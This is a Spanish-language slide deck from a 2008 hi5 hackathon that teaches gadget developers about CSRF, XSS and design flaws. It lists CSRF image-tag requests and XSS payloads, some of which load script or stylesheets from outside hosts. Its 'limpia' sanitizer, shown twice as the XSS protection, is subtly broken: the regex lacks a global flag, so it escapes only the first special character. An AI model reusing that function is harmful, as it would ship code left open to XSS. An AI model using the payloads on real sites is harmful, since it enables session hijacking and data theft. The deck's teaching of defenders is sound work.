Seguridad Básica para Gadgets.

Eduardo Vela Nava

hi5 Hackathon - 2008

About me..

Estudio Ingeniería en Tecnologías Computacionales, ITESM-CEMTrabajo en seguridad en hi5.Hobbies: Hago investigación de seguridad web.

Me gusta mas javascript que Jessica Alba.

Principales tipos de vulnerabilidades

CSRF – Cross Site Request Forgery

XSS – Cross Site Scripting

(SQLi, LDAP injection, RFI, RCE, etc..)

CSRF

Cross Site Request Forgery

CSRF

Definición Sencilla: Hacer que una aplicación ejecute una

acción creyendo que la hizo un usuario.

Peligrosidad: Control de una sesión de forma

remota.

CSRF

Vectores de ataque comunes: <img src=http://www.ilike.com/backend?

addSong=998822>

Esto agregaría a tu listado de canciones la canción con el id 998822, al momento de ver la imagen.

<img src=http://foro.com/borrar.php?foro=1>

Esto borraría el foro 1, si un administrador ve una página con ese código.

Protección CSRF

Nonces “clave” aleatoria, que solo es válida una

vez. Se debe enviar en cada petición hecha. Se debe invalidar despues de usarse. Ejemplo:

http://hi5.com/friend/mail/deleteMail.do?msgId=1&senderId=2&offset=0&timestamp=NONCE

Mitos Checar el “referrer” te protege de CSRF. Recibir info por POST te protege.

XSS

Cross Site Scripting

XSS

Definición sencilla: Capacidad de insertar codigo de

“scripting” en un sitio (javascript, vbscript, ascript).

Peligrosidad: Robo de identidad, Acceso no

autorizado a información privada, XSS Worms, Request Forgery (protegido por nonces).

XSS

Vectores de ataque comunes: <<script/src=//x.se/xm8# <img src=javascript:alert(/xss/[-1]);> <link rel=stylesheet

href=//ha.ckers.org/xss.css> <style>@import'//ha.ckers.org/xss.css'; body{-moz-

binding:url(url);x:expression(js)} +ADw-script+AD4-alert(‘xss');+ADw-/

script+AD4- etc..

Protección XSS

Filtrar los datos. PHP:

htmlentities($input,ENT_QUOTES); JavaScript:

function limpia(x){

return x.replace(/[\W]/,function(y){

return "&#"+y.charCodeAt(0)+";";

});

};

Vulnerabilidades de diseño

Vulnerabilidades de diseño

Vulnerabilidades creadas por un mal diseño de un programa, que podrían permitir el acceso a información privada.

Ejemplo creer que lo que se encuentra en la

cookie “Email” siempre será el mail de usuario.

0 confianza

No confies en lo que lees.

No confies en lo que vas a escribir.

No confies en lo que quieres modificar.

¿Qué leer?

Problema:Toda información leida desde la API de JavaScript no es de confianza, un atacante puede modificar y falsificar absolutamente todo.Soluciones:Si necesitas guardar datos, autenticar usuarios, etc., usa un backend.

¿Qué escribir?

No escribir información privada proveniente del backend sin validar.No escribir datos sin filtrar.

function limpia(x){

return x.replace(/[\W]/,function(y){

return "&#"+y.charCodeAt(0)+";";

});

};

¿Que modificar?

1. Verificar que la acción la hizo el usuario voluntariamente.

2. Verificar que es una acción válida.

3. Verificar si el usuario tiene permiso de ejecutar esa acción.

Uso de backends

Filtrar los datos que recibes desde tu aplicación en javascript.

No poner datos en cookies.

Monitorear abuso.

Protecciones

No confiar en nada generado en el cliente.

Usar el cliente para trabajo de CPU, y usar al servidor para operaciones de CRUD y validación.

(CRUD=Crear, Leer, Actualizar y Borrar datos)

FAQ

FAQ

1. ¿Puedo asumir que los datos que van de servidor al cliente estan limpios?

NO, esto se puede atacar con ataques como cache-poisoning.

FAQ

2. ¿Puedo asumir que un formulario para subir un archivo no fue enviado por CSRF?

NO, se puede enviar un archivo por medio de CSRF.

FAQ

3. ¿Puedo asumir que un dato en un campo de cookies esta limpio?

NO, se pueden poner cookies por medio de ataques de CSRF.

¿Preguntas?

Hack me

Gracias